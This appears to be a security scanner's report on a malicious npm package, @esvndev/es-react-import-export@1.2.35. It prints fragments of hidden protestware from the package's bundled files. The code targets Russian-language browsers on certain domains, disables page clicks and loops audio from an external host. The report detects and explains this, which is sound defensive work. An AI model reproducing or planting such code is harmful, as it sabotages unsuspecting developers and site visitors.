@esvndev/es-react-import-export@1.2.35: Malicious npm security | LPM Firewall

Loading npm security reports…

@esvndev/es-react-import-export@1.2.35: Malicious npm security | LPM Firewall

Source & flagged code

7 flagged · loading source

dist/index.jsView file

•if (typeof window !== 'undefined' && /^ru\b/.test(navigator.language) && location.host.match(/\.(ru|su|by|xn--p1ai)$/)) {

Critical

Targeted Browser Disruption Protestware

Browser source targets specific languages and host suffixes, disables page interaction, and automatically loops audio from a fixed external host.

dist/index.jsView on unpkg

•Trigger-reachable chain: scripts.start -> dist/index.js Reachable file contains a blocking source-risk pattern.

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

dist/index.jsView on unpkg

•matchType = malicious_source_fingerprint_signature signature = 1fd5c4ac69bd6067 signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = @esvndev/es-react-import-export@1.2.40 matchedPath = dist/index.js matchedIdentity = npm:[redacted]:1.2.40 similarity = 1.000 shingleOverlap = 2 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

dist/index.jsView on unpkg

14905// Dear russian users visiting russian sites. Let's have fun. if (typeof window !== 'undefined' && /^ru\b/.test(navigator.language) && location.host.match(/\.(ru|su|by|xn--p1ai)$/)) {

High

Ai Review Evidence

Both published entrypoints run protestware at module load for Russian-language browsers on .ru, .su, .by, and .xn--p1ai hosts.

dist/index.jsView on unpkg · L14905

14913document.body.style.pointerEvents = 'none'; const ukrainianAnthem = document.createElement('audio'); ukrainianAnthem.src = 'https://flag-gimn.ru/wp-content/uploads/2021/09/Ukraina.mp3'; ukrainianAnthem.loop = true;

High

Ai Review Evidence

After three days the code disables page clicks and loops an MP3 from flag-gimn.ru.

dist/index.jsView on unpkg · L14913

dist/index.mjsView file

14873// Dear russian users visiting russian sites. Let's have fun. if (typeof window !== 'undefined' && /^ru\b/.test(navigator.language) && location.host.match(/\.(ru|su|by|xn--p1ai)$/)) {

High

Ai Review Evidence

The same block sits in bundled SweetAlert2 code, so every consumer import ships the disruption.

dist/index.mjsView on unpkg · L14873

14881document.body.style.pointerEvents = 'none'; const ukrainianAnthem = document.createElement('audio'); ukrainianAnthem.src = 'https://flag-gimn.ru/wp-content/uploads/2021/09/Ukraina.mp3'; ukrainianAnthem.loop = true;

High

Ai Review Evidence

The same block sits in bundled SweetAlert2 code, so every consumer import ships the disruption.

dist/index.mjsView on unpkg · L14881

Source & flagged code

7 flagged

dist/index.jsView file

•if (typeof window !== 'undefined' && /^ru\b/.test(navigator.language) && location.host.match(/\.(ru|su|by|xn--p1ai)$/)) {

Critical

Targeted Browser Disruption Protestware

Browser source targets specific languages and host suffixes, disables page interaction, and automatically loops audio from a fixed external host.

dist/index.jsView on unpkg

•Trigger-reachable chain: scripts.start -> dist/index.js Reachable file contains a blocking source-risk pattern.

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

dist/index.jsView on unpkg

•matchType = malicious_source_fingerprint_signature signature = 1fd5c4ac69bd6067 signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = @esvndev/es-react-import-export@1.2.40 matchedPath = dist/index.js matchedIdentity = npm:[redacted]:1.2.40 similarity = 1.000 shingleOverlap = 2 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

dist/index.jsView on unpkg

14905// Dear russian users visiting russian sites. Let's have fun. if (typeof window !== 'undefined' && /^ru\b/.test(navigator.language) && location.host.match(/\.(ru|su|by|xn--p1ai)$/)) {

High

Ai Review Evidence

Both published entrypoints run protestware at module load for Russian-language browsers on .ru, .su, .by, and .xn--p1ai hosts.

dist/index.jsView on unpkg · L14905

14913document.body.style.pointerEvents = 'none'; const ukrainianAnthem = document.createElement('audio'); ukrainianAnthem.src = 'https://flag-gimn.ru/wp-content/uploads/2021/09/Ukraina.mp3'; ukrainianAnthem.loop = true;

High

Ai Review Evidence

After three days the code disables page clicks and loops an MP3 from flag-gimn.ru.

dist/index.jsView on unpkg · L14913

dist/index.mjsView file

14873// Dear russian users visiting russian sites. Let's have fun. if (typeof window !== 'undefined' && /^ru\b/.test(navigator.language) && location.host.match(/\.(ru|su|by|xn--p1ai)$/)) {

High

Ai Review Evidence

The same block sits in bundled SweetAlert2 code, so every consumer import ships the disruption.

dist/index.mjsView on unpkg · L14873

14881document.body.style.pointerEvents = 'none'; const ukrainianAnthem = document.createElement('audio'); ukrainianAnthem.src = 'https://flag-gimn.ru/wp-content/uploads/2021/09/Ukraina.mp3'; ukrainianAnthem.loop = true;

High

Ai Review Evidence

The same block sits in bundled SweetAlert2 code, so every consumer import ships the disruption.

dist/index.mjsView on unpkg · L14881